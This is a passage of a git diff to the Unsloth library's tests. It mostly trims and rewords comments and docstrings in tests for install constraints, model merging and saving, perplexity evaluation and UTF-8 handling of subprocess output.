         out = self._run(tmp_path, py_minor = 13, os_val = "macos", arch = "x86_64")
         assert out == "torch>=2.4,<2.11.0"
 
-    # -- SKIP_TORCH bypass --
-
+    # SKIP_TORCH bypasses the tightening.
     def test_skip_torch_arm64_macos_py313_default(self, tmp_path):
         out = self._run(
             tmp_path,
@@ -239,16 +223,12 @@ class TestTorchConstraintShell:
         )
         assert out == "torch>=2.4,<2.11.0"
 
-    # -- WSL --
-
     def test_wsl_py313_default(self, tmp_path):
         out = self._run(tmp_path, py_minor = 13, os_val = "wsl", arch = "x86_64")
         assert out == "torch>=2.4,<2.11.0"
 
-    # -- Edge cases --
-
     def test_py_minor_0_fallback_default(self, tmp_path):
-        """If python query fails (returns 0), should stay at default."""
+        """Failed python query (returns 0) keeps the default constraint."""
         out = self._run(tmp_path, py_minor = 0, os_val = "macos", arch = "arm64")
         assert out == "torch>=2.4,<2.11.0"
 
@@ -261,10 +241,10 @@ class TestTorchConstraintShell:
         assert out == "torch>=2.6,<2.11.0"
 
     def test_mock_uv_receives_correct_constraint(self, tmp_path):
-        """Verify a mock uv would receive the correct constraint string."""
+        """A mock uv receives the tightened constraint on py3.13 arm64 macOS."""
         venv = self._make_mock_python(tmp_path, minor = 13)
 
-        # Create a mock uv that logs its arguments
+        # Mock uv logs its arguments.
         mock_uv = tmp_path / "mock_uv"
         log_file = tmp_path / "uv_log.txt"
         mock_uv.write_text(
@@ -354,13 +334,10 @@ class TestTorchConstraintShell:
         assert "torch>=2.4,<2.11.0" in logged, f"uv log: {logged}"
 
 
-# ======================================================================
 # Group 3 -- E2E tokenizers fix (requires network, ~2-5 min)
-# ======================================================================
 @pytest.mark.e2e
 class TestE2ETokenizersFix:
-    """Creates real uv venvs to verify tokenizers + transformers work
-    without torch installed."""
+    """Real uv venvs verify tokenizers + transformers work without torch installed."""
 
     @staticmethod
     def _create_venv(tmp_path: pathlib.Path, name: str, py: str) -> pathlib.Path:
@@ -393,8 +370,7 @@ class TestE2ETokenizersFix:
 
     @pytest.mark.parametrize("py_version", ["3.12", "3.13"])
     def test_autoconfig_works_with_no_torch_runtime(self, tmp_path, py_version):
-        """Install from no-torch-runtime.txt with --no-deps (matching the
-        real install.sh path), then verify AutoConfig imports successfully."""
+        """Install no-torch-runtime.txt with --no-deps, then AutoConfig must import."""
         venv = self._create_venv(tmp_path, f"tok-{py_version}", py_version)
         r = self._pip_install(venv, "--no-deps", "-r", str(_NO_TORCH_RT))
         assert r.returncode == 0, f"Install failed: {r.stderr}"
@@ -423,8 +399,7 @@ class TestE2ETokenizersFix:
         assert result.returncode != 0, "torch should NOT be importable"
 
     def test_negative_control_no_tokenizers(self, tmp_path):
-        """Without tokenizers, AutoConfig should fail. We create a copy of
-        no-torch-runtime.txt with the tokenizers line removed."""
+        """Without the tokenizers line, AutoConfig must fail (negative control)."""
         venv = self._create_venv(tmp_path, "neg-ctrl", "3.12")
         req_no_tokenizers = tmp_path / "no-tokenizers.txt"
         req_no_tokenizers.write_text(
@@ -440,9 +415,7 @@ class TestE2ETokenizersFix:
         assert "tokenizers" in result.stderr.lower() or "ModuleNotFoundError" in result.stderr
 
 
-# ======================================================================
 # Group 4 -- Integration: install.sh reads no-torch-runtime.txt correctly
-# ======================================================================
 class TestInstallShNoTorchIntegration:
     """Verify install.sh has the correct no-torch-runtime.txt wiring."""
 
@@ -457,14 +430,11 @@ class TestInstallShNoTorchIntegration:
 
     def test_no_deps_invocation_for_fresh(self):
         """Fresh install path should also use --no-deps -r."""
-        # Count occurrences of the no-deps -r pattern
         count = self._sh.count('--no-deps -r "$_NO_TORCH_RT"')
         assert count >= 2, f"Expected >=2 no-deps -r invocations, found {count}"
 
     def test_mock_uv_skip_torch_reads_requirements(self, tmp_path):
-        """When SKIP_TORCH=true, the _find_no_torch_runtime path should be used."""
-        # We test this structurally: verify the SKIP_TORCH=true blocks contain
-        # _find_no_torch_runtime calls
+        """SKIP_TORCH=true blocks must call _find_no_torch_runtime."""
         skip_blocks = re.findall(
             r'if \[ "\$SKIP_TORCH" = true \].*?(?=\n    (?:else|elif|fi))',
             self._sh,
@@ -474,9 +444,7 @@ class TestInstallShNoTorchIntegration:
         assert found, "SKIP_TORCH=true block should call _find_no_torch_runtime"
 
 
-# ======================================================================
 # Group 5 -- Full no-torch sandbox (requires network, ~5 min)
-# ======================================================================
 @pytest.mark.e2e
 class TestE2EFullNoTorchSandbox:
     """Creates venvs and installs the actual no-torch-runtime.txt."""
@@ -511,8 +479,7 @@ class TestE2EFullNoTorchSandbox:
         )
 
     def test_autoconfig_succeeds(self, tmp_path):
-        """The real bug fix: install with --no-deps (matching install.sh)
-        and verify from transformers import AutoConfig works."""
+        """Install with --no-deps and verify AutoConfig imports (the bug fix)."""
         venv = self._create_venv(tmp_path, "full-no-torch")
         r = self._pip_install(venv, "--no-deps", "-r", str(_NO_TORCH_RT))
         assert r.returncode == 0, f"Install failed: {r.stderr}"
@@ -522,7 +489,7 @@ class TestE2EFullNoTorchSandbox:
         ), f"AutoConfig failed:\nstdout: {result.stdout}\nstderr: {result.stderr}"
 
     def test_torch_not_importable(self, tmp_path):
-        """With --no-deps (as install.sh uses), torch must not be pulled in."""
+        """With --no-deps, torch must not be pulled in."""
         venv = self._create_venv(tmp_path, "no-torch-check")
         r = self._pip_install(venv, "--no-deps", "-r", str(_NO_TORCH_RT))
         assert r.returncode == 0, f"Install failed: {r.stderr}"
diff --git a/tests/python/test_unsloth_run_tool_policy_resolver.py b/tests/python/test_unsloth_run_tool_policy_resolver.py
index 356170fae8..00d4996368 100644
--- a/tests/python/test_unsloth_run_tool_policy_resolver.py
+++ b/tests/python/test_unsloth_run_tool_policy_resolver.py
@@ -1,15 +1,6 @@
 # Copyright 2025-present the Unsloth AI Inc. team. All rights reserved.
 
-"""
-Truth-table tests for `resolve_tool_policy` -- the pure resolver behind
-`unsloth run --enable-tools/--disable-tools`.
-
-Covers:
-  - 127.0.0.1 default-on, explicit on, explicit off
-  - 0.0.0.0 default-off, explicit off
-  - 0.0.0.0 + explicit on: confirm prompt unless --silent or --yes,
-    abort on negative answer.
-"""
+"""Truth-table tests for `resolve_tool_policy` behind `unsloth run --enable-tools/--disable-tools`."""
 
 import pytest
 import typer
diff --git a/tests/saving/gpt-oss-merge/train_and_merge.py b/tests/saving/gpt-oss-merge/train_and_merge.py
index 1d35c6759d..aca5b1a19b 100644
--- a/tests/saving/gpt-oss-merge/train_and_merge.py
+++ b/tests/saving/gpt-oss-merge/train_and_merge.py
@@ -20,7 +20,7 @@ def safe_remove_directory(path):
         return False
 
 
-# Used by the mapping function below.
+# Used by formatting_prompts_func below.
 tokenizer = None
 
 
@@ -91,5 +91,5 @@ torch.cuda.empty_cache()
 gc.collect()
 
 safe_remove_directory("./outputs")
-safe_remove_directory("./unsloth_compiled_cache")  # Clean up the cache created by this process
+safe_remove_directory("./unsloth_compiled_cache")  # cache created by this process
 print("✅ Cleanup complete. Exiting training script.")
diff --git a/tests/saving/language_models/test_merge_4bit_validation.py b/tests/saving/language_models/test_merge_4bit_validation.py
index 2e2e823bd3..8c1baeecf4 100644
--- a/tests/saving/language_models/test_merge_4bit_validation.py
+++ b/tests/saving/language_models/test_merge_4bit_validation.py
@@ -93,7 +93,7 @@ trainer = SFTTrainer(
         per_device_train_batch_size = 2,
         gradient_accumulation_steps = 4,
         warmup_ratio = 0.1,
-        max_steps = 10,  # Very short training for test
+        max_steps = 10,
         learning_rate = 2e-4,
         fp16 = not is_bfloat16_supported(),
         bf16 = is_bfloat16_supported(),
@@ -129,7 +129,6 @@ del model
 del tokenizer
 torch.cuda.empty_cache()
 
-# Load the 4bit merged model
 model_4bit, tokenizer_4bit = FastLanguageModel.from_pretrained(
     model_name = "./test_4bit_model",
     max_seq_length = 2048,
@@ -144,7 +143,6 @@ tokenizer_4bit = get_chat_template(
 
 print("✅ 4bit model loaded successfully!")
 
-# Add LoRA adapters
 model_4bit = FastLanguageModel.get_peft_model(
     model_4bit,
     r = 16,
@@ -166,7 +164,6 @@ model_4bit = FastLanguageModel.get_peft_model(
     loftq_config = None,
 )
 
-# Second fine-tuning
 trainer_4bit = SFTTrainer(
     model = model_4bit,
     tokenizer = tokenizer_4bit,
@@ -180,7 +177,7 @@ trainer_4bit = SFTTrainer(
         per_device_train_batch_size = 2,
         gradient_accumulation_steps = 4,
         warmup_ratio = 0.1,
-        max_steps = 10,  # Very short training for test
+        max_steps = 10,
         learning_rate = 2e-4,
         fp16 = not is_bfloat16_supported(),
         bf16 = is_bfloat16_supported(),
diff --git a/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py b/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py
index f8f81c550e..3b75a13756 100644
--- a/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py
+++ b/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py
@@ -76,7 +76,7 @@ def load_and_compute_8bit_ppl(
 
     ppl_value = ppl_model(merged_model, merged_tokenizer, dataset_ppl)
 
-    # Coerce to a plain Python float for cross-process transfer
+    # Coerce to a plain Python float for cross-process transfer.
     if torch.is_tensor(ppl_value):
         ppl_value = ppl_value.cpu().item()
     elif hasattr(ppl_value, "item"):
diff --git a/tests/saving/language_models/test_merge_model_perplexity_mistral.py b/tests/saving/language_models/test_merge_model_perplexity_mistral.py
index d467089a47..8cc833c2b1 100644
--- a/tests/saving/language_models/test_merge_model_perplexity_mistral.py
+++ b/tests/saving/language_models/test_merge_model_perplexity_mistral.py
@@ -101,7 +101,7 @@ def load_and_compute_8bit_ppl(
 
     ppl_value = ppl_model(merged_model, merged_tokenizer, dataset_ppl)
 
-    # Convert to Python float if it's a tensor.
+    # Coerce to a plain Python float.
     if torch.is_tensor(ppl_value):
         ppl_value = ppl_value.cpu().item()
     elif hasattr(ppl_value, "item"):
diff --git a/tests/saving/language_models/test_merge_model_perplexity_phi_4.py b/tests/saving/language_models/test_merge_model_perplexity_phi_4.py
index 391d1b90db..6f79bfdb71 100644
--- a/tests/saving/language_models/test_merge_model_perplexity_phi_4.py
+++ b/tests/saving/language_models/test_merge_model_perplexity_phi_4.py
@@ -63,7 +63,7 @@ def load_and_compute_8bit_ppl(
         chat_template = "phi-4",
     )
 
-    # Load dataset fresh in subprocess
+    # Load dataset fresh in subprocess.
     dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
 
     def formatting_prompts_func(examples):
@@ -78,7 +78,7 @@ def load_and_compute_8bit_ppl(
 
     ppl_value = ppl_model(merged_model, merged_tokenizer, dataset_ppl)
 
-    # Coerce to a Python float regardless of source type.
+    # Coerce to a Python float.
     if torch.is_tensor(ppl_value):
         ppl_value = ppl_value.cpu().item()
     elif hasattr(ppl_value, "item"):
diff --git a/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py b/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py
index 9c2c1acb41..c07b37024f 100644
--- a/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py
+++ b/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py
@@ -30,7 +30,6 @@ from tests.utils.perplexity_eval import (
 )
 
 
-# Define helper functions outside of main
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
diff --git a/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py b/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py
index cdbad174a4..cb444d1591 100644
--- a/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py
+++ b/tests/saving/language_models/test_merged_model_perplexity_qwen_2.5.py
@@ -95,7 +95,6 @@ def load_and_compute_8bit_ppl(
     #     chat_template="llama-3.1",
     # )
 
-    # Load dataset fresh in subprocess
     dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
 
     alpaca_prompt = """Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request.
@@ -144,7 +143,7 @@ def load_and_compute_8bit_ppl(
 
     ppl_value = ppl_model(merged_model, merged_tokenizer, dataset_ppl)
 
-    # Coerce to a Python float regardless of source type.
+    # Coerce to a Python float.
     if torch.is_tensor(ppl_value):
         ppl_value = ppl_value.cpu().item()
     elif hasattr(ppl_value, "item"):
@@ -243,7 +242,6 @@ if __name__ == "__main__":
 
     add_to_comparison("Qlora model", ppl_model(model, tokenizer, dataset_ppl))
 
-    # Merge and save to local disk.
     print("merge and save to local disk")
     model.save_pretrained_merged(
         save_directory = "./unsloth_out/merged_qwen_text_model", tokenizer = tokenizer
diff --git a/tests/saving/language_models/test_push_to_hub_merged.py b/tests/saving/language_models/test_push_to_hub_merged.py
index cacb1e2a10..0a1dd3406a 100644
--- a/tests/saving/language_models/test_push_to_hub_merged.py
+++ b/tests/saving/language_models/test_push_to_hub_merged.py
@@ -130,11 +130,9 @@ trainer = train_on_responses_only(
     response_part = "<|start_header_id|>assistant<|end_header_id|>\n\n",
 )
 
-# run training
 trainer_stats = trainer.train()
 
 
-# save and merge the model to local disk
 hf_username = os.environ.get("HF_USER", "")
 if not hf_username:
     hf_username = input("Please enter your Hugging Face username: ").strip()
@@ -152,7 +150,7 @@ success = {
     "download": False,
 }
 
-# Stage 1: Upload model to Hub
+# Stage 1: Upload model to Hub.
 try:
     print("\n" + "=" * 80)
     print("=== UPLOADING MODEL TO HUB ===".center(80))
@@ -165,14 +163,13 @@ except Exception as e:
     raise Exception("Model upload failed.")
 
 t
-# Stage 2: Test downloading the model (even if cached)
+# Stage 2: Test downloading the model.
 safe_remove_directory(f"./{hf_username}")
 
 try:
     print("\n" + "=" * 80)
     print("=== TESTING MODEL DOWNLOAD ===".center(80))
     print("=" * 80 + "\n")
-    # Force download even if cached
     model, tokenizer = FastLanguageModel.from_pretrained(f"{hf_username}/merged_llama_text_model")
     success["download"] = True
     print("✅ Model downloaded successfully!")
@@ -180,7 +177,7 @@ except Exception as e:
     print(f"❌ Download failed: {e}")
     raise Exception("Model download failed.")
 
-# Final report
+# Final report.
 print("\n" + "=" * 80)
 print("=== VALIDATION REPORT ===".center(80))
 print("=" * 80 + "\n")
@@ -194,6 +191,6 @@ if all(success.values()):
 else:
     raise Exception("Validation failed for one or more stages.")
 
-# final cleanup
+# final cleanup.
 safe_remove_directory("./outputs")
 safe_remove_directory("./unsloth_compiled_cache")
diff --git a/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py b/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py
index 59a09f06ec..a77d35d05f 100644
--- a/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py
+++ b/tests/saving/language_models/test_push_to_hub_merged_sharded_index_file.py
@@ -134,7 +134,7 @@ trainer = train_on_responses_only(
 trainer_stats = trainer.train()
 
 
-# saving and merging the model to local disk
+# Resolve HF username + token (prompt if unset).
 hf_username = os.environ.get("HF_USER", "")
 if not hf_username:
     hf_username = input("Please enter your Hugging Face username: ").strip()
diff --git a/tests/saving/language_models/test_save_merged_grpo_model.py b/tests/saving/language_models/test_save_merged_grpo_model.py
index 63e4b970a6..24a35dc825 100644
--- a/tests/saving/language_models/test_save_merged_grpo_model.py
+++ b/tests/saving/language_models/test_save_merged_grpo_model.py
@@ -1,9 +1,5 @@
 # -*- coding: utf-8 -*-
-"""test_Llama3_1_(3B)_GRPO_LoRA (1).ipynb
-
-### Unsloth
-
-"""
+"""Llama 3.1 (3B) GRPO LoRA train + merged-model save/eval."""
 
 from unsloth import FastLanguageModel
 import torch
@@ -20,8 +16,8 @@ from tests.utils.cleanup_utils import safe_remove_directory
 from tests.utils.aime_eval import evaluate_model_aime, compare_aime_results
 
 
-max_seq_length = 2048  # Can increase for longer reasoning traces
-lora_rank = 64  # Larger rank = smarter, but slower
+max_seq_length = 2048
+lora_rank = 64
 
 
 def evaluate_merged_model(
@@ -32,16 +28,16 @@ def evaluate_merged_model(
     from unsloth import FastLanguageModel
     from tests.utils.aime_eval import evaluate_model_aime
 
-    max_seq_length = 2048  # Can increase for longer reasoning traces
-    lora_rank = 64  # Larger rank = smarter, but slower
+    max_seq_length = 2048
+    lora_rank = 64
 
     model, tokenizer = FastLanguageModel.from_pretrained(
         model_name = "./final_merged_model",
         max_seq_length = max_seq_length,
-        load_in_4bit = True,  # False for LoRA 16bit
-        fast_inference = True,  # Enable vLLM fast inference
+        load_in_4bit = True,
+        fast_inference = True,
         max_lora_rank = lora_rank,
-        gpu_memory_utilization = 0.8,  # Reduce if out of memory
+        gpu_memory_utilization = 0.8,
     )
 
     print(f"\n{'='*60}")
@@ -79,10 +75,10 @@ def training_run(result_queue):
     model, tokenizer = FastLanguageModel.from_pretrained(
         model_name = "meta-llama/Llama-3.2-3B-Instruct",
         max_seq_length = max_seq_length,
-        load_in_4bit = False,  # False for LoRA 16bit
-        fast_inference = True,  # Enable vLLM fast inference
+        load_in_4bit = False,
+        fast_inference = True,
         max_lora_rank = lora_rank,
-        gpu_memory_utilization = 0.8,  # Reduce if out of memory
+        gpu_memory_utilization = 0.8,
     )
 
     """### Helper Functions
@@ -190,7 +186,7 @@ def training_run(result_queue):
         matches = re.findall(pattern, text, re.DOTALL)
 
         if matches:
-            answer = matches[-1]  # Get the last match
+            answer = matches[-1]
             answer = re.sub(r"[%$,]", "", answer).strip()
             return answer
         return ""
@@ -450,7 +446,6 @@ def training_run(result_queue):
 
     all_results = []
 
-    # Single temperature evaluation on combined dataset.
     results = evaluate_model_aime(
         model = model,
         tokenizer = tokenizer,
@@ -494,7 +489,7 @@ def training_run(result_queue):
 
     model = FastLanguageModel.get_peft_model(
         model,
-        r = lora_rank,  # Choose any number > 0 ! Suggested 8, 16, 32, 64, 128
+        r = lora_rank,
         target_modules = [
             "q_proj",
             "k_proj",
@@ -503,9 +498,9 @@ def training_run(result_queue):
             "gate_proj",
             "up_proj",
             "down_proj",
-        ],  # Remove QKVO if out of memory
+        ],
         lora_alpha = lora_rank,
-        use_gradient_checkpointing = "unsloth",  # Enable long context finetuning
+        use_gradient_checkpointing = "unsloth",
         random_state = 3407,
     )
 
@@ -518,12 +513,12 @@ def training_run(result_queue):
             max_seq_length = max_seq_length,
             data_collator = DataCollatorForSeq2Seq(tokenizer = tokenizer),
             dataset_num_proc = 2,
-            packing = False,  # Can make training 5x faster for short sequences.
+            packing = False,
             args = TrainingArguments(
                 per_device_train_batch_size = 2,
                 gradient_accumulation_steps = 4,
                 warmup_steps = 5,
-                num_train_epochs = 1,  # Set this for 1 full training run.
+                num_train_epochs = 1,
                 # max_steps = 60,
                 learning_rate = 2e-4,
                 fp16 = not is_bfloat16_supported(),
@@ -534,7 +529,7 @@ def training_run(result_queue):
                 lr_scheduler_type = "linear",
                 seed = 3407,
                 output_dir = "outputs",
-                report_to = "none",  # Use this for WandB etc
+                report_to = "none",
             ),
         )
 
@@ -581,7 +576,6 @@ def training_run(result_queue):
         ]
 
         scores = []
-        # Print only every few steps.
         global PRINTED_TIMES
         global PRINT_EVERY_STEPS
         if PRINTED_TIMES % PRINT_EVERY_STEPS == 0:
@@ -600,7 +594,6 @@ def training_run(result_queue):
                 continue
             try:
                 true_answer = float(true_answer.strip())
-                # Remove commas like in 123,456.
                 guess = float(guess.strip().replace(",", ""))
                 scores.append(1.5 if guess == true_answer else -0.5)
             except:
@@ -613,7 +606,7 @@ def training_run(result_queue):
     print(f"{'*'*60}")
 
     max_prompt_length, _ = get_max_prompt_length(gsm8k_train, tokenizer)
-    max_prompt_length = min(max_prompt_length + 10, 512)  # Add buffer, cap at 512
+    max_prompt_length = min(max_prompt_length + 10, 512)
 
     print(f"Using max_prompt_length: {max_prompt_length}")
 
@@ -627,8 +620,8 @@ def training_run(result_queue):
         optim = "adamw_torch_fused",
         logging_steps = 1,
         per_device_train_batch_size = 1,
-        gradient_accumulation_steps = 4,  # Increase to 4 for smoother training
-        num_generations = 8,  # Decrease if out of memory
+        gradient_accumulation_steps = 4,
+        num_generations = 8,
         max_prompt_length = max_prompt_length,
         max_completion_length = max_seq_length - max_prompt_length,
         # num_train_epochs = 1, # Set to 1 for a full training run
@@ -636,7 +629,7 @@ def training_run(result_queue):
         max_steps = 1000,
         save_steps = 250,
         max_grad_norm = 0.1,
-        report_to = "none",  # Can use Weights & Biases
+        report_to = "none",
         output_dir = "outputs",
     )
 
@@ -749,7 +742,6 @@ if __name__ == "__main__":
     result_queue = mp.Queue()
     all_results = []
 
-    # Run main finetuning and GRPO loop.
     p = mp.Process(target = training_run, args = (result_queue,))
     p.start()
     p.join()
@@ -757,7 +749,7 @@ if __name__ == "__main__":
     results = result_queue.get()
     all_results = results
 
-    # Evaluate merged model loaded 16bits.
+    # Evaluate merged model loaded 16bit.
     p = mp.Process(target = evaluate_merged_model, args = (result_queue, False, False))
     p.start()
     p.join()
diff --git a/tests/saving/non_peft/test_whisper_non_peft.py b/tests/saving/non_peft/test_whisper_non_peft.py
index b0f2b2e751..91425d77e4 100644
--- a/tests/saving/non_peft/test_whisper_non_peft.py
+++ b/tests/saving/non_peft/test_whisper_non_peft.py
@@ -52,7 +52,7 @@ print(f"{'='*80}")
 
 try:
     with warnings.catch_warnings():
-        warnings.simplefilter("error")  # Treat warnings as errors here
+        warnings.simplefilter("error")  # any warning -> failure
         model.save_pretrained("test_output")
         print("✅ Standard save_pretrained completed successfully!")
 except Exception as e:
diff --git a/tests/saving/test_preserve_tokenizer_eos_token.py b/tests/saving/test_preserve_tokenizer_eos_token.py
index 2ea40ab778..2dd280e6cd 100644
--- a/tests/saving/test_preserve_tokenizer_eos_token.py
+++ b/tests/saving/test_preserve_tokenizer_eos_token.py
@@ -84,7 +84,7 @@ def test_preserve_tokenizer_eos_token_supports_filename_prefix(tmp_path):
     saved_config = json.loads(prefixed_config.read_text(encoding = "utf-8"))
     assert saved_config["eos_token"] == "<turn|>"
     assert saved_config["other"] is True
-    # Unprefixed file must not be created as a side effect.
+    # Unprefixed file must not be created as a side effect (regression).
     assert not (tmp_path / "tokenizer_config.json").exists()
 
 
diff --git a/tests/saving/test_save_subprocess_utf8_encoding.py b/tests/saving/test_save_subprocess_utf8_encoding.py
index 4a609cd7b7..165087d03a 100644
--- a/tests/saving/test_save_subprocess_utf8_encoding.py
+++ b/tests/saving/test_save_subprocess_utf8_encoding.py
@@ -13,26 +13,11 @@
 
 """Regression tests for unslothai/unsloth#2660.
 
-On Windows the default text encoding is the locale code page (e.g. cp1252),
-not UTF-8. ``subprocess.Popen`` / ``subprocess.run`` opened in text mode
-(``text=True`` / ``universal_newlines=True``) without an explicit
-``encoding`` therefore decode child-process output with cp1252. When
-llama.cpp / Ollama emit a byte that is undefined in cp1252 (e.g. ``0x9d``,
-which appears inside the UTF-8 encoding of common punctuation and box-drawing
-glyphs), the read raises ``UnicodeDecodeError`` and aborts the GGUF export.
-
-Two checks:
-
-* ``test_save_subprocess_text_calls_declare_utf8_encoding`` -- a source-level
-  drift detector. It parses ``unsloth/save.py`` (no import, so it runs under
-  the GPU/torch-free harness) and fails if any text-mode subprocess call is
-  missing ``encoding="utf-8"``. This is the regression guard: it is red
-  before the fix and green after.
-* ``test_utf8_replace_decodes_non_cp1252_subprocess_output`` -- a behavioural
-  check that documents the bug and the fix deterministically on any platform:
-  raw child output that is invalid under cp1252 raises, while the
-  ``encoding="utf-8", errors="replace"`` kwargs used by the fix read it
-  cleanly.
+On Windows, text-mode subprocess calls without explicit encoding decode child
+output as cp1252, raising UnicodeDecodeError on UTF-8 bytes undefined there
+(e.g. 0x9d) and aborting GGUF export. A source-level drift check asserts save.py
+pins encoding="utf-8" on every text-mode call; a behavioural check reproduces
+the cp1252 failure and confirms the utf-8/replace fix reads it cleanly.
 """
 
 from __future__ import annotations
@@ -84,9 +69,8 @@ def _collect_text_mode_subprocess_calls() -> list[ast.Call]:
 
 
 def test_text_mode_subprocess_calls_exist():
-    """Guard the guard: if save.py stops using text-mode subprocess calls the
-    drift test below would vacuously pass, so make sure we are actually
-    inspecting something."""
+    """Guard the guard: ensure save.py still has text-mode subprocess calls so
+    the drift test below isn't vacuously passing."""
     calls = _collect_text_mode_subprocess_calls()
     assert len(calls) >= 6, (
         f"Expected several text-mode subprocess calls in {SAVE_PY.name}, "
@@ -95,11 +79,8 @@ def test_text_mode_subprocess_calls_exist():
 
 
 def test_save_subprocess_text_calls_declare_utf8_encoding():
-    """Every text-mode subprocess call in save.py must pin encoding='utf-8'.
-
-    Without it, reading llama.cpp/Ollama output crashes on Windows (cp1252).
-    Fails before the #2660 fix, passes after.
-    """
+    """Every text-mode subprocess call in save.py must pin encoding='utf-8'
+    (else Windows cp1252 crashes reading child output; #2660 fix)."""
     offenders = []
     for node in _collect_text_mode_subprocess_calls():
         enc = _kw(node, "encoding")
@@ -115,14 +96,10 @@ def test_save_subprocess_text_calls_declare_utf8_encoding():
 
 
 def test_utf8_replace_decodes_non_cp1252_subprocess_output():
-    """Document the failure and the fix with a real subprocess.
-
-    The child emits U+201D (right double quote), whose UTF-8 encoding
-    ``E2 80 9D`` contains byte 0x9D -- undefined in cp1252. Decoding the raw
-    bytes as cp1252 raises (the bug); the fix's kwargs read it cleanly.
-    """
-    # All-ASCII argv; the child builds the non-ASCII char itself so this is
-    # deterministic regardless of the parent's locale.
+    """Reproduce the bug and fix with a real subprocess: the child emits U+201D
+    (UTF-8 E2 80 9D, byte 0x9D undefined in cp1252) so cp1252 decode raises while
+    the fix's utf-8/replace kwargs read it cleanly."""
+    # All-ASCII argv; the child builds the non-ASCII char so it's locale-independent.
     child = (
         "import sys; "
         "sys.stdout.buffer.write(('tensor ' + chr(0x201D) + ' x\\n').encode('utf-8'))"
@@ -131,8 +108,7 @@ def test_utf8_replace_decodes_non_cp1252_subprocess_output():
     raw = subprocess.run([sys.executable, "-c", child], capture_output = True).stdout
     assert b"\x9d" in raw  # precondition: output carries the cp1252-undefined byte
 
-    # Failing behaviour before the fix: cp1252 (the Windows default) cannot
-    # decode this output.
+    # Before the fix: cp1252 (the Windows default) cannot decode this output.
     with pytest.raises(UnicodeDecodeError):
         raw.decode("cp1252")
 
diff --git a/tests/saving/test_unsloth_save.py b/tests/saving/test_unsloth_save.py
index a85c119e04..de3a1556b4 100644
--- a/tests/saving/test_unsloth_save.py
+++ b/tests/saving/test_unsloth_save.py
@@ -8,7 +8,7 @@ import importlib
 from unsloth import FastLanguageModel, FastModel
 
 model_to_test = [
-    # Text Models
+    # Text models
     "unsloth/tinyllama",
     "unsloth/tinyllama-bnb-4bit",
     "unsloth/Qwen2.5-0.5B-Instruct",
@@ -16,7 +16,7 @@ model_to_test = [
     "unsloth/Phi-4-mini-instruct",
     "unsloth/Phi-4-mini-instruct-bnb-4bit",
     "unsloth/Qwen2.5-0.5B",
-    # Vision Models
+    # Vision models
     "unsloth/gemma-3-4b-it",
     "unsloth/Llama-3.2-11B-Vision-Instruct-bnb-4bit",
     "unsloth/Qwen2.5-VL-3B-Instruct-bnb-4bit",
@@ -67,7 +67,7 @@ def loaded_model_tokenizer(request):
 
 @pytest.fixture(scope = "session", params = torchao_models)
 def fp16_model_tokenizer(request):
-    """Load model in FP16 for TorchAO quantization"""
+    """Load model in FP16 for TorchAO quantization."""
     model_name = request.param
     print(f"Loading model in FP16 for TorchAO: {model_name}")
 
@@ -75,7 +75,7 @@ def fp16_model_tokenizer(request):
         model_name,
         max_seq_length = 128,
         dtype = None,
-        load_in_4bit = False,  # No BnB quantization
+        load_in_4bit = False,  # no BnB quantization
     )
 
     model = FastModel.get_peft_model(
@@ -143,7 +143,7 @@ def test_save_merged_16bit(model, tokenizer, temp_save_dir: str):
             os.path.join(save_path, file)
         ), f"{file} not found in the save directory."
 
-    # 16bit if there's no quantization config
+    # 16bit means no quantization config.
     config_path = os.path.join(save_path, "config.json")
     with open(config_path, "r") as f:
         config = json.load(f)
@@ -154,7 +154,6 @@ def test_save_merged_16bit(model, tokenizer, temp_save_dir: str):
     save_file_sizes["merged_16bit"][model.config._name_or_path] = total_size
     print(f"Total size of merged_16bit files: {total_size} bytes")
 
-    # Verify the saved model loads
     loaded_model, loaded_tokenizer = FastLanguageModel.from_pretrained(
         save_path,
         max_seq_length = 128,
@@ -194,14 +193,13 @@ def test_save_merged_4bit(model, tokenizer, temp_save_dir: str):
         total_size < save_file_sizes["merged_16bit"][model.config._name_or_path]
     ), "Merged 4bit files are larger than merged 16bit files."
 
-    # 4bit if there's a quantization config
+    # 4bit means there's a quantization config.
     config_path = os.path.join(save_path, "config.json")
     with open(config_path, "r") as f:
         config = json.load(f)
 
     assert "quantization_config" in config, "Quantization config not found in the model config."
 
-    # Verify the saved model loads
     loaded_model, loaded_tokenizer = FastModel.from_pretrained(
         save_path,
         max_seq_length = 128,
diff --git a/tests/saving/text_to_speech_models/test_csm.py b/tests/saving/text_to_speech_models/test_csm.py
index 3d04bc39cb..7c1a7a275b 100644
--- a/tests/saving/text_to_speech_models/test_csm.py
+++ b/tests/saving/text_to_speech_models/test_csm.py
@@ -27,10 +27,10 @@ print(f"{'='*80}")
 
 model, tokenizer = FastModel.from_pretrained(
     model_name = "unsloth/csm-1b",
-    max_seq_length = 2048,  # Choose any for long context!
-    dtype = None,  # Leave as None for auto-detection
+    max_seq_length = 2048,
+    dtype = None,
     auto_model = CsmForConditionalGeneration,
-    load_in_4bit = False,  # Select True for 4bit - reduces memory usage
+    load_in_4bit = False,
 )
 
 
@@ -39,7 +39,7 @@ base_model_class = model.__class__.__name__
 
 model = FastModel.get_peft_model(
     model,
-    r = 32,  # Choose any number > 0 ! Suggested 8, 16, 32, 64, 128
+    r = 32,
     target_modules = [
         "q_proj",
         "k_proj",
@@ -50,13 +50,12 @@ model = FastModel.get_peft_model(
         "down_proj",
     ],
     lora_alpha = 32,
-    lora_dropout = 0,  # Supports any, but = 0 is optimized
